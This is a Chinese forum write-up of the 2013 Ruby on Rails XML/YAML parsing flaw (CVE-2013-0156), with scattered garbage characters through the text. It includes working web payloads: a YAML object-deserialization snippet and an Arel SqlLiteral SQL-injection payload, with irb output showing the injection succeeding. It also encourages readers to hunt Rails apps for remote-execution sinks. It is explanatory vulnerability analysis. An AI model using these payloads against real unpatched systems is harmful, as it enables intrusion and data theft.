Author: wofeiwo#80sec.com
2 C! l$ y2 d3 Q \8 `9 k3 `! U' O8 V+ R0 }
注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。 2 C0 q, l+ z3 |- ?4 Q
9 J: P' J8 O: b8 j& {7 f4 D近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. - m" o; L2 R( O7 y6 M
* t# u# ]- A1 N$ J: KCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. 6 E5 U5 m9 k7 U3 X
2 B+ i4 x5 G6 W% \& h0 l: B$ P+ h' e
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
9 e- r/ F& S6 K- q9 U f, _% F! N* ~
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: 7 h. n$ m) N+ D. I* D4 s+ z
; k& ~' k, w0 G/ M+ C"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
; K D( ?+ p, h0 ]1 t' z. t* U2 E, o* j U$ _* {
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? - f1 R/ Q& Q4 O2 Z, `
! A: N4 [7 B: r
然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。
7 K1 _; i5 j' [8 y* B: _- E- g3 ^) ?2 N% |
但是等等，还有另一个参数类型，yaml。 1 J/ t0 n( C0 T+ V) E+ e" ^
t" y: A p) c# f6 j6 v4 E% ^
yaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。 % ?9 S( u0 s; O) ^5 X% X
. q+ l+ H& o: j8 _ Y* j& Y; ^
<test type="yaml">--- !ruby/object:A
! w) E1 i7 k5 y* ~/ waaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。
3 r4 G3 O5 P$ p$ b; _- H6 [
, F3 p& L4 L' X) f如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。 ! v, f7 d. N( V3 ~" d
1 `( U8 a; Y" |. l" i' E
如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。 ! j8 b4 e! {5 D l
' \7 G5 g$ J8 w O: Q" w2 ^一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式） ( s4 Q. Z$ ]( r* C
5 ~- [+ k: v% H# [model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：
E- P4 }' |, h6 W4 \/ S6 u, Z6 p+ v
( e2 [$ Y2 [) S. r# z<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
p1 S5 A' W1 N& \8 j1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。 6 [. k5 k1 b8 P6 V9 @3 F/ |7 U
; L/ g1 S- c5 P. ~2 A; `5 s2 o ^
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
0 q7 `; V2 H" |! ?0 P5 e j3 ]. Q
5 r! W4 A$ E, b$ o' [9 e* V- k: b( d |
发表于 2013-1-11 21:16:27
收藏
支持
反对